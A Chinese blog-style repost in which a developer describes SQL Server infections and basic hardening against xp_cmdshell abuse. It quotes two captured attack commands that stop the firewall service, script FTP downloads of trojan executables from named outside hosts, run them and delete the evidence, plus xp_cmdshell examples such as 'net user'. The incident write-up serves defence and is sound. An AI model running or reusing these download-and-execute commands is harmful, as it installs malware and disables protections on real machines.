程序员人生 网站导航

Sql server注入方式与安全防护的学习

栏目:Sqlserver时间:2014-05-30 18:47:28
   建站学院转载 自己的开发机经历了两次的中毒现像.每次中毒的现像,都是sqlserver.exe进程去执行cmd.com进程,然后生成*.sys与*.bat两个文件,然后去使用ftp.exe去下载木马下载器,然后杀毒软件开始报警了.

    下面是cmd.com执行指令内容
    "C:"WINDOWS"system32"cmd.com" /c net1 stop sharedaccess&echo open 218.61.11.97>dboy.sys&echo 11>>dboy.sys&echo 11>>dboy.sys&echo get pc.exe C:"boots.exe>>dboy.sys&echo bye>>dboy.sys&echo ftp -s:dboy.sys>dboy.bat&echo copy C:"boots.exeC:"WINDOWS"system32"inf"test.exe&echo start start /high "" C:"WINDOWS"system32"inf"test.exe&echo start C:"boots.exe>>dboy.bat&echo start C:"boots.exe>>dboy.bat&echo del dboy.sys>>dboy.bat&echo del %0>>dboy.bat&dboy.bat

    "C:"WINDOWS"system32"cmd.com" /c sc stop sharedaccess&echo open ddosboy1.3322.org >dboy1.sys&echo dboy>>dboy1.sys&echo if>>dboy1.sys&echo get dboy1.exe C:"Windows"tcpsrv1.exe>>dboy1.sys&echo bye>>dboy1.sys&echo ftp -s:dboy1.sys>system1.bat&echo start C:"Windows"tcpsrv1.exe>>system1.bat&echo start C:"Windows"tcpsrv1.exe>>system1.bat&echo del dboy1.sys>>system1.bat&echo del %0>>system1.bat&system1.bat


   第一次中毒,之后,就对sql server进行了加强,删除了"xp_cmdshell"这个sql server中最不安全的扩展存储过程.不过,好了没一个月,又来中一次.
   这一次,我检查了数据库日志,xp_cmdshell并没有恢复,不过却在日志在发现了sp_oacreate与sp_oamethod两个存储过程的执行日志.
   于是上网学习,把自己的学习的一些东西记录下来:
   一. 初级sql注入攻击
   初级黑客攻击SQL Server时,首先采用的方法是执行master数据库中的扩展存储过程xp_cmdshell命令来执行一些指令,添加用户,添加文件,添加木马病毒等.
   对付此类黑客只要禁用xp_cmdshell存储过程就可以了.
   xp_cmdshell是一个允许执行任意的命令行命令的内置的存储过程。例如:
   Exec master..xp_cmdshell 'dir'
   将获得SQLSERVER进程的当前工作目录中的目录列表。如图:

在新窗口中预览图片 

   Exec master..xp_cmdshell 'net user'
   将提供服务器上所有用户的列表。当SQLSERVER正常以系统帐户或域帐户运行时,攻击者可以做出更严重的危害。

   从上面的两个示例中可以看出xp_cmdshell的强大功能,功能的强大也意味着破坏性的强大.
   一般情况下,xp_cmdshell对管理员来说也是不必要的,xp_cmdshell的消除不会对Server造成任何影响。    
   可以将xp_cmdshell消除:    
   Use   Master    
   Exec   sp_dropextendedproc   'xp_cmdshell'
   Go    
         
   如果需要的话,可以把xp_cmdshell恢复回来:    
   Use   Master    
   Exec   sp_addextendedproc   'xp_cmdshell', 'xplog70.dll'
   Go    
   如果有必要可以把xplog70.dll这个文件也删除了,记得做好备份.
   删除了xplog70.dll将影响到"企业管理器"的一部分功能,我碰到的是无法在"企业管理器"中查看数据库服务器的属性.
------分隔线----------------------------
------分隔线----------------------------

最新技术推荐